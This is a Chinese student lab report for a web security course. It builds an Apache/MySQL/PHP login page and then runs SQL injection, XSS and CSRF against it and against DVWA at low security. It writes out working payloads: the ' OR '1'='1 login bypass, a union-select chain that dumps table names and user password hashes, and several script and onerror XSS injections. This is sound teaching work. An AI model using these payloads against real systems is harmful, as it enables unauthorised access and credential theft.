20232322 2025-2026-1 《网络与系统攻防技术》实验八实验报告
一.实验内容
- Web前端HTML:能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML
- Web前端javascipt:理解JavaScript的基本功能,理解DOM。在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”尝试注入攻击:利用回显用户名注入HTML及JavaScript
- Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
- Web后端:编写PHP网页,连接数据库,进行用户认证
- 最简单的SQL注入,XSS攻击测试
- 安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击
二.实验目的
搭建Web环境,实现前后端开发,实践SQL注入、XSS等常见Web安全漏洞
三.实验环境
- kali linux虚拟机
![image]()
四.实验过程与分析
1.Web前端HTML
- 通过 systemctl start apache2 启动Apache服务
![dd8433e01b7f5cecc68ad807fdb2b3ea]()
打开浏览器,输入localhost,出现以下界面说明Apache Web服务器安装成功
![1ee54a4371da5da51d5169d1baafe5ec]()
- 进入/var/www/html目录,创建两个html文件分别使用GET和POST方法编写一个含有表单的HTML。
- GET:
![17f55a3b7d2b3d946105c752c889336c]()
GET方法数据会在URL中显示,不适合传输密码 - POST:
![8b0f265b76dd32c16928d94cb8d46910]()
POST方法数据不会在URL中显示,更加安全
- GET:
2.Web前端JavaScript
- 原HTML上加入输入的验证
- 用户名不能为空
![5e4cb13effb8d59f015eb4a22b046966]()
- 密码不能为空
![ce4d97afdd454c51700e7ba97684d521]()
- 密码至少8位
![3345fd4cdcaee82e350670dc6fa53f7e]()
- 用户名不能为空
- 注入攻击
- 在用户名输入框中输入:<u>HTML injection succeed.</u>,HTML injection succeed.会被回显到页面,并且以下划线的形式展示
![e8f13e4698598be70384632b92f575f2]()
- 在用户名输入框中输入:<img src='x' onerror='document.body.innerHTML = "JavaScript injection succeed."'>,出现下图表示成功
![image]()
- 在用户名输入框中输入:<u>HTML injection succeed.</u>,HTML injection succeed.会被回显到页面,并且以下划线的形式展示
3. Web后端MySQL基础
通过 systemctl start mysql 打开MySQL服务

进行如下配置
CREATE DATABASE 20232322db;-- 创建数据库
USE 20232322db;-- 使用数据库
CREATE USER 'user1' IDENTIFIED BY 'user@20232322';-- 创建用户
GRANT ALL PRIVILEGES ON 20232322db.* TO 'user1';-- 授予用户权限
FLUSH PRIVILEGES;--刷新权限
ALTER USER 'user1' IDENTIFIED BY 'user@2322';-- 修改用户密码
CREATE TABLE tablefirst ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255) NOT NULL, pwd VARCHAR(255) NOT NULL );-- 创建表
INSERT INTO testtable (name, pwd) VALUES ('user1', '20232322');-- 插入数据
SELECT * FROM tablefirst;-- 查看表中所有内容


4.Web后端编写PHP网页
- 编写完成后输入数据库中的用户与密码验证
![146d01fd77e844e1cda6f73c62d36ce6]()
- 密码错误
![ce2f51d6926d06fbfc0a3bbf6389caa5]()
5.SQL注入与XSS注入
- SQL注入,用户名随意,密码输入' OR '1'='1即可成功登录
![6c341b1b1a7dedd488d1c1191d0f998b]()
![29dbb7ba08225c77ee97bd94049e9dd8]()
- XSS攻击,在用户名输入框内注入<img src=x onerror=alert('XSS成功')>,密码随意,出现下图情况,成功
![3be633d81b1c33d34d3b0131577668d7]()
6.安装DVWA或WebGoat平台,并完成SQL注入,XSS,CSRF攻击
- 通过 sudo apt install dvwa 安装DVWA,输入 dvwa-start 开启dvwa
- 修改安全等级为low
![1f1268fbf89daf23e832fd02cceca284]()
- 进行sql注入:
- 输入1
![c828f465f6e901c6aa239b8478c11682]()
- 使用1' order by 1 #,1' order by 2 #数字逐渐递加,直到n
发现到第三个的时候报错,说明有两个字段
![d8c0cc951f51203b774a6a5e1dbf9ccc]()
- 输入 输入1' union SELECT DATABASE(),2 # 获取当前使用的数据库名
![a950166a69e4d8169a7333f3dc09dac6]()
- 输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'dvwa' #获取数据库的表名
![image]()
可以看到有guestbook、access_log、user、security_log4张表 - 输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #获取表user中的字段
![微信图片_20251201100626_412_84]()
- 输入1' or 1 = 1 union select group_concat(user_id),group_concat(password) from users #直接获取user中的password字段
![微信图片_20251201101004_413_84]()
第一个密码即为admin的密码 - 在加密网站中解密pasword字段进行验证
![image]()
- 输入1
- xss攻击
- 输入xss,输入内容会显示到页面和URL中
![06eacdb51dcb0a02c62682d55334a4d6]()
- 输入<script>alert('XSS')
![d969b55faf4cd3fce7f7593cafdad4ff]()
- 使用Stored
![f66b579c478654bd5270a2427cdc61fc]()
输入<script>alert('lady_killer9')</script>
![1eaec86ebd7a99f4249e9a4e2021e606]()
- 使用DOM
点击select,URL中default参数会显示提交的内容。
改变default为<script>alert('XSS')</script>
![502d5e0b98ed6047b414f6c9565ce9d9]()
- CSRF攻击
修改密码
![3ba594679536498720359247a609f1bf]()
修改后的密码会显示在URL中,我们使用修改后的密码登陆admin验证一下
![9b8c23c5ed03ad160fd5d68ef5735494]()
- 输入xss,输入内容会显示到页面和URL中
五.问题及解决方案
问题:在php网页中一直报错网络错误
解决方案:启动php服务器并将php文件放入var/www/html中,通过http://localhost/20232322php.html登录
六.学习感悟
通过本次实验,我明白了安全漏洞的普遍性与危险性,使最简单的代码也可能存在严重漏洞。同时也提升了我的安全意识,安全是开发过程中必须考虑的重点,每个输入点都可能是潜在的攻击入口,这就要求我们对于漏洞原理要有深刻理解。































浙公网安备 33010602011771号